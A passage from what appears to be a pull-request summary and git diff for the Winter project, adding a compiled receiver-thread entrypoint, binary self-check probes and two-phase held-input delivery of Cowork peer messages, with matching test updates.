per host-query conversation, matching what was sent (`either` accepts either). The echo is exposed as `CoworkNativeRunning.continuations`. | +| Fault to lost mapping | same | `resume_store_missing` calls `request.storeLost("resume_store_missing")` once and fails the start; `fresh_store_not_empty` fails the start only. | +| Host-backed shares | same | `request.shares()` is asked before `begin`; each share is opened by an injected opener (canonical path, O_NOFOLLOW, O_DIRECTORY) and sent as one descriptor on the L1 `shares` line; after `mounted` the bootstrap `shares` goes out and `shares_mounted` is awaited; then `request.sharesMounted` gets each mounted folder source (a throw is `share_mount_failed`). Nothing supplies shares today (the libkrun folder server is the contract lane's). | +| Outputs directory | `host-env/guest-dirs.ts`, `native/host.ts` | `/cowork/workspaces//shared/outputs/` is made before the set that names `/workspace/outputs/` is sent: idempotent, a symlink or file at any step refuses. See the decision below about "on data.ext4". | +| Plan view | `native/protocol.ts`, `native/guest-dirs.ts`, `native/host.ts` | `/workspace/plan//` is an admitted view of the conversation's own session; writable, once, under `plan` only; every other root stays read-only under plan. The host refuses an epoch lower than one already sent (in memory). The driver still passes no epoch and `planViewMounted` stays false. | +| `coordinate` tool class | `native/protocol.ts` | Fourth class, last in the order. | +| Restore claim (content-out #97 NEEDS) | `volumes.ts` | `beginRestore` (durable exclusive claim, stored as the volume owner so `claim`/`open`/`prepareFilesystems` refuse and a crash stays visible), `openForRestoreRead` (read-only, identity-pinned), `reidentifyRestored` (the old identity must be what the restorer believed, the file must be exactly the new one, size checked), `endRestore` (revalidates every image first). | +| Lazy-require probe | none new | `__host-code-adapter-probe` and its step in `verify:fd-receiver` were already in b1/b2 (#103's NEEDS). The pin in `host-code-broker.test.ts` passes (38). Not run: the compiled gate. | + +## Decisions and residuals (for the owner / coordinator) + +1. **"Outputs directory on data.ext4".** A macOS host cannot write into an ext4 image, and nothing in contract revision 3 lets it ask the guest to. In revision 3 the outputs location is the host-served outputs share, so the host makes the directory there. A guest-side creation on the data disk (revision 2 layout) would be PID 1's duty and needs an SDK change. Recommendation: accept the share-side creation; the plan view's epoch directory is the guest-side case and is specified as PID 1's job. +2. **Plan epoch monotonicity is in memory.** The durable epoch is DOOR's policy machine, which always passes the current one. A daemon restart forgets the host's own high-water mark. Recommendation: accept; a durable mark needs a column (DOOR). +3. **Fake guests now have unique boot ids and launcher confirmation ids** (the real ones are unique; the table demands it). +4. **Widened `GuestToolClass` / `session-ports.ts` toolClasses** with `coordinate` (two type unions in DOOR's files, nothing else). Listed under NEEDS so DOOR adopts it. + +## Tests + +`test/cowork/native/host-b3.test.ts` (28), `host-env-provisioning.test.ts` (+2), `native-wiring.test.ts` (+2), `native-wiring-daemon.test.ts` (+2, one rewritten), `volumes.test.ts` (+5), `conversation-set.test.ts` (plan-view wire test rewritten), the structural provisioning pin gains the one daemon line. + +## NEEDS FROM OTHER LANE + +- DOOR: adopt `"coordinate"` in the tool surface (`session-profile.ts` `CoworkToolClass`); wire `request.storeLost` to `markStoreLost`, `request.resume` from the resume plan, `request.sharesMounted` (already shaped), and read `CoworkNativeRunning.continuations` (an `either` start learns whether the guest ran fresh or resume from it). +- SDK/guest: PID 1 creates `/workspace/plan//` (root-side, no symlink, idempotent) and the supervisor admits that view as writable under plan; the libkrun folder server serves the shares the host now sends. +- Content-out (#97): construct its restorer over a `CoworkVolumes` with its own authority, call `beginRestore` before the first exchange, `reidentifyRestored` per volume, `endRestore`; note a restored image keeps the recorded filesystem UUID only if the bundle's image has that UUID. + +## Docs owed + +`docs/claude/cowork.md` and the ledgers: the guest records, the store volume rule, the continuation echo, the plan view and `coordinate`, the restore claim, the provisioning port's single supply point. `docs/claude/testing.md` and CLAUDE.md: hidden `__fd-receiver-probe` and `__host-code-adapter-probe` subcommands. diff --git a/package.json b/package.json index 64f29912a..0f7fa2053 100644 --- a/package.json +++ b/package.json @@ -26,6 +26,8 @@ "verify:embedded": "bun run scripts/verify-embedded-compiled.ts", "verify:computer-helper": "bun run scripts/verify-computer-helper.ts", "verify:headless-helper": "bun run scripts/verify-headless-helper.ts", + "verify:cowork-native": "bun run scripts/verify-cowork-native.ts", + "verify:fd-receiver": "bun run scripts/verify-fd-receiver-compiled.ts", "verify:cowork-vm": "bun run spikes/cowork-vm/run.ts", "typecheck:core": "tsc --noEmit -p packages/core", "typecheck:page-runtime": "tsc --noEmit -p packages/core/src/computer-use/browser/page-runtime", @@ -37,6 +39,7 @@ "verify:office-agent": "bun run scripts/office-agent-gate.ts", "dev:daemon": "bun run scripts/dev-daemon.ts", "dev:helper": "bun run scripts/dev-helper.ts", + "dev:cowork-native": "bun run scripts/dev-cowork-native.ts", "dev:headless": "bun run scripts/dev-headless.ts", "icons:render": "bun run scripts/render-icons.ts", "cef:fetch": "bun run scripts/fetch-cef.ts", diff --git a/packages/cli/package.json b/packages/cli/package.json index d0b6ef5a4..ca1d841c8 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -9,8 +9,8 @@ }, "scripts": { "test": "bun test", - "compile": "bun build src/embedded-worker.source.ts --target bun --outfile .build/embedded-worker.bundle.js && bun build --compile --no-compile-autoload-bunfig --no-compile-autoload-dotenv src/main.ts src/embedded-worker.ts --outfile ../../dist/winter", - "compile:core": "bun build src/embedded-worker.source.ts --target bun --outfile .build/embedded-worker.bundle.js && bun build --compile --no-compile-autoload-bunfig --no-compile-autoload-dotenv src/main.ts src/embedded-worker.ts --outfile ../../dist/winter-core" + "compile": "bun build src/embedded-worker.source.ts --target bun --outfile .build/embedded-worker.bundle.js && bun build src/fd-receiver-worker.source.ts --target bun --outfile .build/fd-receiver-worker.bundle.js && bun build --compile --no-compile-autoload-bunfig --no-compile-autoload-dotenv src/main.ts src/embedded-worker.ts src/fd-receiver-worker.ts --outfile ../../dist/winter", + "compile:core": "bun build src/embedded-worker.source.ts --target bun --outfile .build/embedded-worker.bundle.js && bun build src/fd-receiver-worker.source.ts --target bun --outfile .build/fd-receiver-worker.bundle.js && bun build --compile --no-compile-autoload-bunfig --no-compile-autoload-dotenv src/main.ts src/embedded-worker.ts src/fd-receiver-worker.ts --outfile ../../dist/winter-core" }, "dependencies": { "@yanlinglabs/winter-core": "workspace:*", diff --git a/packages/cli/src/cowork-cli.ts b/packages/cli/src/cowork-cli.ts index f075f95b4..fffea1070 100644 --- a/packages/cli/src/cowork-cli.ts +++ b/packages/cli/src/cowork-cli.ts @@ -21,11 +21,8 @@ export const COWORK_CLI_USAGE = `usage: winter workspace instructions get|provenance [--json] winter workspace instructions update --instruction-revision N --digest SHA256 (--content TEXT | --stdin | --content-file FILE) --request-id ID [--allow-empty] [--json] winter workspace operation get [--json] - winter workspace session create --source ID [--cwd RELATIVE] --request-id ID [--json] - winter workspace session list [--json] -Creation is unavailable. A Cowork conversation is created with session create and then -used by its session id (winter -p, attach); every production daemon refuses it today. Source provisioning is gated by the daemon; add commands +Creation is unavailable. Source provisioning is gated by the daemon; add commands accept an existing opaque host selection ID. This CLI does not issue selections. Guidance input accepts one content source, at most ${COWORK_INSTRUCTION_MAX_BYTES} UTF-8 bytes with no NUL. --stdin reads to EOF; --stdin and --content-file keep guidance text out of argv. diff --git a/packages/cli/src/fd-receiver-probe.ts b/packages/cli/src/fd-receiver-probe.ts new file mode 100644 index 000000000..57d35ab23 --- /dev/null +++ b/packages/cli/src/fd-receiver-probe.ts @@ -0,0 +1,44 @@ +// `winter-core __fd-receiver-probe`: the compiled-binary proof that the Cowork native channel's receiver thread starts. It opens a socketpair, registers one end with the +// shared receiver hub (which constructs its Worker from the compiled entry), sends one line into the other end and prints the line the hub delivers. It touches no home, no +// Keychain, no daemon and no launcher; it exists for `scripts/verify-fd-receiver-compiled.ts`. +import { FdLineChannel, closeDescriptor, sendMessage, socketPair } from "../../core/src/cowork/native/fd-channel"; + +export async function runChannelReceiverProbe(): Promise<{ ok: boolean; line?: string; error?: string }> { + const [near, far] = socketPair("stream"); + const channel = new FdLineChannel(near, { maxLine: 4096, maxRights: 0 }); + try { + sendMessage(far, new TextEncoder().encode("fd-receiver-probe\n")); + const timeout = new Promise((_resolve, reject) => setTimeout(() => reject(new Error("the receiver thread delivered nothing within 10 s")), 10_000)); + const first = await Promise.race([channel.lines()[Symbol.asyncIterator]().next(), timeout]); + return first.done === true ? { ok: false, error: "the channel ended before a line" } : { ok: first.value.trim() === "fd-receiver-probe", line: first.value.trim() }; + } catch (error) { + return { ok: false, error: (error as Error).message }; + } finally { + try { await channel.close(); } catch { /* closed */ } + closeDescriptor(far); + } +} + +/** `winter-core __host-code-adapter-probe`: the compiled-binary proof that the host-code broker's SDK modules resolve inside the built binary. `installedHostCodeAdapter()` is the + * function that loads them; a module missing from the bundle throws "Cannot find module" here. Whether the installed SDK offers an adapter at all is not asked (undefined is a + * valid answer); only that the call does not throw. It touches no home, Keychain, daemon or launcher. */ +export async function runHostCodeAdapterProbe(): Promise<{ ok: boolean; adapter?: boolean; error?: string }> { + try { + const { installedHostCodeAdapter } = await import("../../core/src/runtime-sdk/host-code-broker"); + return { ok: true, adapter: installedHostCodeAdapter() !== undefined }; + } catch (error) { + return { ok: false, error: (error as Error).message }; + } +} + +/** `winter-core __host-env-lazy-probe`: the compiled-binary proof that the activation seam's lazy `require("./host-env/environment")` resolves inside the built binary (the seam itself stays off; + * this loads the module and checks its builder is a function, and builds no environment). It touches no home, Keychain, daemon or launcher. */ +export async function runHostEnvLazyProbe(): Promise<{ ok: boolean; error?: string }> { + try { + const { loadCoworkHostEnvironmentModule } = await import("../../core/src/cowork/native-activation"); + const hostEnv = loadCoworkHostEnvironmentModule(); + return typeof hostEnv.createCoworkNativeProductionEnvironment === "function" ? { ok: true } : { ok: false, error: "the host-env module has no environment builder" }; + } catch (error) { + return { ok: false, error: (error as Error).message }; + } +} diff --git a/packages/cli/src/fd-receiver-worker.source.ts b/packages/cli/src/fd-receiver-worker.source.ts new file mode 100644 index 000000000..b4a0f5f77 --- /dev/null +++ b/packages/cli/src/fd-receiver-worker.source.ts @@ -0,0 +1,2 @@ +// The receiver thread of the Cowork native channel (core's cowork/native/fd-receiver-worker.ts), as its own bundle source. See fd-receiver-worker.ts. +import "../../core/src/cowork/native/fd-receiver-worker"; diff --git a/packages/cli/src/fd-receiver-worker.ts b/packages/cli/src/fd-receiver-worker.ts new file mode 100644 index 000000000..fe347eb7f --- /dev/null +++ b/packages/cli/src/fd-receiver-worker.ts @@ -0,0 +1,5 @@ +// The compiled daemon's receiver thread for the Cowork native channel: a THIRD `compile:core` entrypoint (beside src/main.ts and src/embedded-worker.ts), reached by the plain +// string `./fd-receiver-worker.ts` (core's COMPILED_FD_RECEIVER_WORKER_ENTRY). Same contract and same reason as embedded-worker.ts: the name and the directory ARE the contract, +// and the worker graph is PRE-BUNDLED alone (`src/fd-receiver-worker.source.ts` -> `.build/fd-receiver-worker.bundle.js`) so it shares no module with main.ts's lazily wrapped graph. +// Without this file a compiled daemon that activated Cowork could not start the channel's receiver thread. `bun run verify:fd-receiver` proves it on the real binary. +import "../.build/fd-receiver-worker.bundle.js"; diff --git a/packages/cli/src/main.ts b/packages/cli/src/main.ts index 78af611f9..a72c12fab 100644 --- a/packages/cli/src/main.ts +++ b/packages/cli/src/main.ts @@ -1559,6 +1559,24 @@ if (import.meta.main) { // through a real daemon on a temp WINTER_HOME with a FileSecretStore, the session in a Bun Worker // built from the second compile entrypoint. Same argv[2] shape and the same WINTER_HOME rule as // `__runtime-state-probe` (it refuses without one; it never touches a real home or the Keychain). + if (process.argv[2] === "__fd-receiver-probe") { + const { runChannelReceiverProbe } = await import("./fd-receiver-probe"); + const result = await runChannelReceiverProbe(); + process.stdout.write(`${JSON.stringify(result)}\n`); + process.exit(result.ok ? 0 : 1); + } + if (process.argv[2] === "__host-code-adapter-probe") { + const { runHostCodeAdapterProbe } = await import("./fd-receiver-probe"); + const result = await runHostCodeAdapterProbe(); + process.stdout.write(`${JSON.stringify(result)}\n`); + process.exit(result.ok ? 0 : 1); + } + if (process.argv[2] === "__host-env-lazy-probe") { + const { runHostEnvLazyProbe } = await import("./fd-receiver-probe"); + const result = await runHostEnvLazyProbe(); + process.stdout.write(`${JSON.stringify(result)}\n`); + process.exit(result.ok ? 0 : 1); + } if (process.argv[2] === "__embedded-probe") { const result = await runEmbeddedProbe({ home: process.env.WINTER_HOME }); process.stdout.write(`${JSON.stringify(result)}\n`); diff --git a/packages/cli/test/compile-core.test.ts b/packages/cli/test/compile-core.test.ts index 04d9a8224..59ddeaaad 100644 --- a/packages/cli/test/compile-core.test.ts +++ b/packages/cli/test/compile-core.test.ts @@ -9,6 +9,7 @@ import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "no import { tmpdir } from "node:os"; import { basename, dirname, join } from "node:path"; import { COMPILED_EMBEDDED_WORKER_ENTRY } from "../../core/src/runtime-sdk/embedded"; +import { COMPILED_FD_RECEIVER_WORKER_ENTRY } from "../../core/src/cowork/native/fd-channel"; const CLI_DIR = join(import.meta.dir, ".."); const manifest = JSON.parse(readFileSync(join(CLI_DIR, "package.json"), "utf8")) as { scripts: Record }; @@ -24,24 +25,37 @@ describe("compile:core carries the embedded Worker entry (WS-23)", () => { expect(dirname(WORKER_FILE)).toBe(join(CLI_DIR, "src")); }); - test("both compile scripts pre-bundle the worker graph ALONE, then pass src/main.ts AND the worker file as entrypoints", () => { + test("both compile scripts pre-bundle each worker graph ALONE, then pass src/main.ts AND both worker files as entrypoints", () => { for (const name of ["compile", "compile:core"]) { const steps = manifest.scripts[name]!.split("&&").map((s) => s.trim().split(/\s+/)); - expect([name, steps.length]).toEqual([name, 2]); - const [prebundle, compile] = steps as [string[], string[]]; - // Step 1: the worker's graph, bundled on its own — never beside src/main.ts. - expect([name, prebundle.slice(0, 2), prebundle.filter((t) => t.startsWith("src/"))]).toEqual([name, ["bun", "build"], [WORKER_SOURCE_REL]]); - expect([name, prebundle.includes("--compile")]).toEqual([name, false]); - expect([name, prebundle[prebundle.indexOf("--target") + 1], prebundle[prebundle.indexOf("--outfile") + 1]]).toEqual([name, "bun", WORKER_BUNDLE_REL]); - // Step 2: the compile, whose second entrypoint is the plain-path Worker file. + expect([name, steps.length]).toEqual([name, 3]); + const [prebundle, prebundleFd, compile] = steps as [string[], string[], string[]]; + // Steps 1 and 2: each worker's graph, bundled on its own — never beside src/main.ts. + for (const [step, source, bundle] of [[prebundle, WORKER_SOURCE_REL, WORKER_BUNDLE_REL], [prebundleFd, "src/fd-receiver-worker.source.ts", ".build/fd-receiver-worker.bundle.js"]] as const) { + expect([name, step.slice(0, 2), step.filter((t) => t.startsWith("src/"))]).toEqual([name, ["bun", "build"], [source]]); + expect([name, step.includes("--compile")]).toEqual([name, false]); + expect([name, step[step.indexOf("--target") + 1], step[step.indexOf("--outfile") + 1]]).toEqual([name, "bun", bundle]); + } + // Step 3: the compile, whose extra entrypoints are the plain-path Worker files. expect([name, compile.slice(0, 3), compile.filter((t) => t.startsWith("src/"))]).toEqual([ name, ["bun", "build", "--compile"], - ["src/main.ts", `src/${basename(COMPILED_EMBEDDED_WORKER_ENTRY)}`], + ["src/main.ts", `src/${basename(COMPILED_EMBEDDED_WORKER_ENTRY)}`, `src/${basename(COMPILED_FD_RECEIVER_WORKER_ENTRY)}`], ]); } }); + test("the Cowork channel's receiver entry is a plain ./.ts beside src/main.ts and imports only its pre-built bundle (bun run verify:fd-receiver proves it on the binary)", () => { + expect(COMPILED_FD_RECEIVER_WORKER_ENTRY).toMatch(/^\.\/[\w-]+\.ts$/); + const file = join(CLI_DIR, "src", basename(COMPILED_FD_RECEIVER_WORKER_ENTRY)); + expect(existsSync(file)).toBe(true); + const importsOf = (path: string): string[] => [...readFileSync(path, "utf8").matchAll(/^import\s+"([^"]+)";$/gm)].map((m) => m[1]!); + expect(importsOf(file)).toEqual(["../.build/fd-receiver-worker.bundle.js"]); + expect(importsOf(join(CLI_DIR, "src", "fd-receiver-worker.source.ts"))).toEqual(["../../core/src/cowork/native/fd-receiver-worker"]); + // main.ts routes the probe the gate runs + expect(readFileSync(join(CLI_DIR, "src", "main.ts"), "utf8")).toContain('process.argv[2] === "__fd-receiver-probe"'); + }); + // SECURITY (no-autoload): by default a `bun build --compile` binary reads the bunfig.toml (its // `preload` runs as the binary) and .env of the directory it is STARTED in. `winter` is a symlink to // `winter-core` that users run inside arbitrary repositories, so both are switched off at compile @@ -49,7 +63,7 @@ describe("compile:core carries the embedded Worker entry (WS-23)", () => { // `__runtime-workflow-worker`) inherits it. `bun run verify:runtimes` proves it on the real binary. test("both compile scripts switch off the cwd bunfig.toml and .env autoloads", () => { for (const name of ["compile", "compile:core"]) { - const compile = manifest.scripts[name]!.split("&&").map((s) => s.trim().split(/\s+/))[1]!; + const compile = manifest.scripts[name]!.split("&&").map((s) => s.trim().split(/\s+/))[2]!; expect([name, compile.includes("--no-compile-autoload-bunfig"), compile.includes("--no-compile-autoload-dotenv")]).toEqual([name, true, true]); } }); diff --git a/packages/cli/test/cowork-session-cli.test.ts b/packages/cli/test/cowork-session-cli.test.ts index bf87d82ee..10bc8fe66 100644 --- a/packages/cli/test/cowork-session-cli.test.ts +++ b/packages/cli/test/cowork-session-cli.test.ts @@ -17,7 +17,8 @@ test("create parses to a Cowork binding with no invented defaults; list takes th [["session", "delete", "w1"], "Unknown workspace session command"], [["session", "list"], "Unexpected or missing positional arguments"], ] as [string[], string][]) expect(() => parseCoworkSessionArgs(args)).toThrow(message); - expect(COWORK_CLI_USAGE).toContain("winter workspace session create --source ID [--cwd RELATIVE] --request-id ID [--json]"); + // Hidden until a daemon carries a session door (the D6 flip): unreachable today, so the usage never names it. + expect(COWORK_CLI_USAGE).not.toContain("workspace session"); }); test("create sends session.create {mode: cowork} and prints the id; list shows only that workspace's Cowork rows", async () => { diff --git a/packages/core/src/agent/session-messaging.ts b/packages/core/src/agent/session-messaging.ts index 7f47ee62f..abcd1c8ec 100644 --- a/packages/core/src/agent/session-messaging.ts +++ b/packages/core/src/agent/session-messaging.ts @@ -74,6 +74,8 @@ import { isSessionReplaced } from "../runtime-sdk/session-replaced"; import { mayContactCoworkPeer, type CoworkMessagingRecords, type CoworkPeerOperation } from "../cowork/messaging-authority"; import { CoworkError } from "../cowork/types"; import type { CoworkPeerInbox, PeerEpoch } from "../cowork/peer-inbox"; +import { CoworkHeldInputRefusal, coworkHoldToken, coworkHostMessageListAnswer, coworkHostMessageSendAnswer, type CoworkHeldInputVerbs } from "../cowork/held-input"; +import { commitAndConfirm } from "../cowork/held-input-reconcile"; /** The `clientName` a SendMessage delivery lands under in the target (`DispatchChildren`'s observer reads it). */ export const MESSAGING_CLIENT_NAME = "messaging"; @@ -110,10 +112,14 @@ export interface MessagingDriverHandle { * The peer inbox fences every offer and ack on it. Absent (a Code/Dispatch driver, or a Cowork driver that has no * epoch yet): nothing is offered and the message stays owed. */ readonly coworkEpoch?: PeerEpoch; + /** A COWORK driver only (#92 N4): the held-input verbs, present only behind the host's gate and for a runtime that offered + * `held-input-v1`. With them a message is HELD in the guest, acknowledged in the ledger, then committed (4.5); without + * them the driver takes `deliverInto` as before. */ + readonly heldInput?: CoworkHeldInputVerbs; } /** The slice of the receipt ledger this file uses. Not supplied by production while Cowork is refused. */ -export type SessionMessagingPeerInbox = Pick; +export type SessionMessagingPeerInbox = Pick & Partial>; export interface SessionMessagingDeps { /** Canonical host DB bindings, never runtime-supplied workspace/project fields. */ @@ -121,6 +127,12 @@ export interface SessionMessagingDeps { /** The durable same-Project peer inbox (receipt ledger over its SQLite store). Absent: a Cowork-to-Cowork send is * refused as unavailable and nothing is delivered. */ peerInbox?: SessionMessagingPeerInbox; + /** #92 4.5: a held peer message the guest turned out to have no record of (`unknown_input`, terminal). The composition shows + * it on the recipient's conversation (`coworkLostInputNotice` is the event's content). Absent: logged only. */ + noteLostPeerMessage?: (recipientSessionId: string, receiptId: string) => void; + /** A recipient's held-input queue failed on transport or malformed answers `STALL_LIMIT` times in a row. Called once per stall + * (a success re-arms it); the composition shows `coworkStalledInboxNotice()` on that conversation. Absent: logged only. */ + noteStalledPeerInbox?: (recipientSessionId: string) => void; store: { /** Throws for an unknown session. */ meta(sessionId: string): { mode?: string; archived?: boolean; origin?: string; parentSessionId?: string; approvalPolicy?: string }; @@ -178,6 +190,9 @@ export class SessionMessaging { /** Cowork: the tail of each recipient's drain chain (one drain at a time per recipient). */ private readonly drains = new Map>(); /** Cowork: how a receipt was delivered by a drain of this process (for the sender's answer), bounded. */ + private readonly stallCounts = new Map(); + private readonly stalled = new Set(); + private readonly commitRefusals = new Map(); private readonly coworkOutcomes = new Map(); constructor(private readonly deps: SessionMessagingDeps) { @@ -197,9 +212,21 @@ export class SessionMessaging { * previous incarnation's. */ handlerFor(callerSessionId: string, incarnation = ""): HostMessagingHandler { + // A Cowork caller's answers leave through the DOOR validators (the guest's runtime refuses a malformed answer, and the call + // would hang to its timeout): a send that cannot be shaped is `delivery_uncertain`, a list is empty. + const cowork = (): boolean => { try { return this.deps.store.meta(callerSessionId).mode === "cowork"; } catch { return false; } }; return { - send: (request, opts) => this.send(callerSessionId, request, opts?.signal, incarnation), - list: async () => this.list(callerSessionId), + send: async (request, opts) => { + const answer = await this.send(callerSessionId, request, opts?.signal, incarnation); + if (!cowork()) return answer; + try { return coworkHostMessageSendAnswer(answer) as SendAnswer; } + catch { return { status: "delivery_uncertain", reason: "the host could not form a valid answer", retryable: false }; } + }, + list: async () => { + const answer = this.list(callerSessionId); + if (!cowork()) return answer; + try { return coworkHostMessageListAnswer(answer) as HostMessageListAnswer; } catch { return { sessions: [] }; } + }, stop: (request, opts) => this.stop(callerSessionId, request, opts?.signal), }; } @@ -450,19 +477,31 @@ export class SessionMessaging { * restart; it is a no-op without a peer inbox. Never throws. */ drainCoworkInbox(recipientSessionId: string): Promise { - const previous = this.drains.get(recipientSessionId) ?? Promise.resolve(); - const run = previous.then(() => this.drainOnce(recipientSessionId)).catch((err) => { + return this.runInRecipientChain(recipientSessionId, () => this.drainOnce(recipientSessionId)).catch((err) => { this.log(`draining the Cowork peer inbox of ${recipientSessionId} failed (${err instanceof Error ? err.name : "error"})`); }); - this.drains.set(recipientSessionId, run); - void run.then(() => { if (this.drains.get(recipientSessionId) === run) this.drains.delete(recipientSessionId); }); - return run; + } + + /** + * Runs `work` in the recipient's drain chain: after every drain or chained job already queued for that recipient, and before any later one. The + * held-input reconcile uses it (`coworkHeldInputReconciler`'s `chain`) so no drain interleaves with it. A throw rejects HERE (the chain itself + * carries on). Used by nothing in production: only a composition that supplies a held-input gate calls it. + */ + runInRecipientChain(recipientSessionId: string, work: () => Promise): Promise { + const previous = this.drains.get(recipientSessionId) ?? Promise.resolve(); + const result = previous.then(() => work()); + const tail = result.catch(() => undefined); + this.drains.set(recipientSessionId, tail); + void tail.then(() => { if (this.drains.get(recipientSessionId) === tail) this.drains.delete(recipientSessionId); }); + return result; } private async drainOnce(recipientId: string): Promise { const inbox = this.deps.peerInbox; if (inbox === undefined) return; let replacedOnce = false; + // Rule 3 (#92 4.5): finish what is already delivered before offering anything new. + if (!(await this.repairHeldCommits(recipientId))) return; for (let delivered = 0; delivered < COWORK_DRAIN_MAX; delivered++) { if (this.draining) return; // Park or end what authority no longer allows, then: nothing runnable owed (empty, archived recipient, revoked pair) wakes nothing. @@ -498,6 +537,11 @@ export class SessionMessaging { hopCount: 0, senderPermissionClass: senderClassOf(policy), }, { winterSessionId: recipientId }); + if (driver.heldInput !== undefined) { + // Two-phase delivery into a held-input guest: hold, ack (the commit point), then commit. Never `deliverInto`. + if (!(await this.deliverHeld(recipientId, driver, driver.heldInput, epoch, offer, text, resumed))) return; + continue; + } let sent: { queued: boolean; steered: boolean; behind: number }; try { sent = await deliverInto(driver, text); } catch (err) { @@ -514,6 +558,112 @@ export class SessionMessaging { } } + /** A typed refusal of a commit the ledger says was delivered (superseded, conflict, ...) cannot succeed by repetition. After + * COMMIT_REFUSAL_LIMIT of them the receipt is ended `lost` (surfaced, never retried) so the queue behind it is not stalled + * forever. A transport error is not a refusal and retries as before. True: it was ended. */ + private endRefusedCommit(recipientId: string, receiptId: string, err: unknown): boolean { + // Only PERMANENT refusals count: a transient one (journal_full, journal_failed, epoch) says nothing about the input, which the + // guest may still hold -- noting it lost would let a later reconcile deliver it anyway. + if (!(err instanceof CoworkHeldInputRefusal) || !PERMANENT_COMMIT_REFUSALS.includes(err.code)) return false; + const count = (this.commitRefusals.get(receiptId) ?? 0) + 1; + this.commitRefusals.set(receiptId, count); + if (count < COMMIT_REFUSAL_LIMIT) return false; + try { this.deps.peerInbox?.confirmCommitted?.(receiptId, "lost"); } catch { return false; } + this.commitRefusals.delete(receiptId); + this.log(`a Cowork peer message ${receiptId} to ${recipientId} was refused ${err.code} ${count} times and is ended as lost`); + this.noteLost(recipientId, receiptId); + return true; + } + + /** A failed step of a recipient's held-input queue (transport, malformed answer, a transient refusal). */ + private stallFailure(recipientId: string): void { + const count = (this.stallCounts.get(recipientId) ?? 0) + 1; + this.stallCounts.set(recipientId, count); + if (count < STALL_LIMIT || this.stalled.has(recipientId)) return; + this.stalled.add(recipientId); + this.log(`the Cowork peer inbox of ${recipientId} has failed ${count} times in a row`); + try { this.deps.noteStalledPeerInbox?.(recipientId); } catch { /* best effort */ } + } + private stallOk(recipientId: string): void { this.stallCounts.delete(recipientId); this.stalled.delete(recipientId); } + + private noteLost(recipientId: string, receiptId: string): void { + try { this.deps.noteLostPeerMessage?.(recipientId, receiptId); } catch { /* the note is best effort; the ledger already says lost */ } + } + + /** Rule 3: re-send `commit` for this recipient's delivered-but-unconfirmed held inputs, oldest first. False: stop the drain. */ + private async repairHeldCommits(recipientId: string): Promise { + const inbox = this.deps.peerInbox; + const held = this.deps.sessions.get(recipientId)?.heldInput; + if (inbox?.deliveredUnconfirmed === undefined || inbox.confirmCommitted === undefined || held === undefined) return true; + try { + for (const entry of inbox.deliveredUnconfirmed(recipientId)) { + if (this.draining) return false; + try { + if ((await commitAndConfirm(inbox as Required>, held, entry.receiptId, entry.ackedHoldToken)) === "lost") { + this.log(`a Cowork peer message ${entry.receiptId} to ${recipientId} was accepted but the guest had no record of it; it is not retried`); + this.noteLost(recipientId, entry.receiptId); + } + } catch (err) { if (!this.endRefusedCommit(recipientId, entry.receiptId, err)) throw err; } + this.stallOk(recipientId); + } + return true; + } catch (err) { + this.stallFailure(recipientId); + this.log(`confirming held Cowork peer messages to ${recipientId} failed (${err instanceof CoworkError ? err.code : "error"}); nothing newer is offered`); + return false; + } + } + + /** One offered message into a held-input guest (#92 4.5). True: it was committed (or ended as lost) and the drain goes on. */ + private async deliverHeld(recipientId: string, driver: MessagingDriverHandle, held: CoworkHeldInputVerbs, epoch: PeerEpoch, offer: NonNullable>, text: string, resumed: boolean): Promise { + const inbox = this.deps.peerInbox; + if (inbox?.verdict === undefined || inbox.confirmCommitted === undefined) return false; // a ledger without the held-input methods cannot do this + const receiptId = offer.receipt.receiptId; + let token: string, answer: Awaited>; + try { + token = coworkHoldToken(receiptId, epoch.incarnationId, epoch.leaseEpoch, offer.offerCount); + answer = await held.hold({ inputId: receiptId, holdToken: token, text, clientName: MESSAGING_CLIENT_NAME }); + } catch (err) { + const code = err instanceof CoworkError ? err.code : undefined; + // A message the guest can never hold (too large for its frame) must not wedge the queue behind it: parked for recovery. + if (code === "invalid_request") { try { inbox.block(receiptId, epoch, "recovery"); } catch { /* stays owed */ } } + else if (!(err instanceof CoworkHeldInputRefusal && err.code !== "epoch" && err.code !== "journal_full" && err.code !== "journal_failed")) this.stallFailure(recipientId); + this.log(`holding a Cowork peer message for ${recipientId} failed (${code ?? (err instanceof Error ? err.name : "error")}); it stays owed`); + return false; + } + const discard = async (): Promise => { + // Never discard what the guest already holds as committed or in its transcript. + if (answer.held === true) { try { await held.discard(receiptId, token); } catch { /* best effort: reconciliation decides it later */ } } + }; + let ackedToken = token; + try { inbox.ack({ receiptId, recipientSessionId: recipientId, epoch, holdToken: token }); } + catch (err) { + if (err instanceof CoworkError && err.code === "authority_denied") { await discard(); return false; } + // Any other throw: the ledger says whether the ack landed. If that cannot be read either, decide nothing. + let verdict: ReturnType>; + try { verdict = inbox.verdict(receiptId, recipientId); } catch { return false; } + if (verdict.action !== "commit") { await discard(); return false; } + ackedToken = verdict.ackedHoldToken; + } + // The guest already owns it (committed or in its transcript): the ack landed, so it is confirmed `already` WITHOUT a commit + // (a commit under the new token would be refused `superseded` forever). Never discarded. + if (answer.held === false) { + try { inbox.confirmCommitted(receiptId, "already"); } catch (err) { this.log(`confirming a Cowork peer message to ${recipientId} failed (${err instanceof CoworkError ? err.code : "error"}); the next drain repeats it`); return false; } + this.coworkOutcomes.set(receiptId, { queued: false, steered: false, behind: 0, resumed }); + return true; + } + let result: Awaited>; + try { result = await commitAndConfirm(inbox as Required>, held, receiptId, ackedToken); } + catch (err) { + if (this.endRefusedCommit(recipientId, receiptId, err)) return true; + this.stallFailure(recipientId); this.log(`committing a Cowork peer message to ${recipientId} failed (${err instanceof CoworkError ? err.code : "error"}); the next drain repeats it`); return false; } + if (result === "lost") { this.log(`a Cowork peer message ${receiptId} to ${recipientId} was accepted but the guest had no record of it; it is not retried`); this.noteLost(recipientId, receiptId); return true; } + this.stallOk(recipientId); + this.coworkOutcomes.set(receiptId, { queued: result === "queued", steered: result === "folded", behind: 0, resumed }); + while (this.coworkOutcomes.size > DELIVERY_DEDUPE_MAX) this.coworkOutcomes.delete(this.coworkOutcomes.keys().next().value as string); + return true; + } + /** `TaskStop` on a session id: interrupt its running turn and clear what was queued behind it. Never throws. */ async stop(callerSessionId: string, request: HostSessionStopRequest, signal?: AbortSignal): Promise { if (this.draining) return { status: "unavailable", reason: "Winter is shutting down; nothing was stopped" }; @@ -614,6 +764,11 @@ function refusalText(err: unknown): string { /** At most this many owed 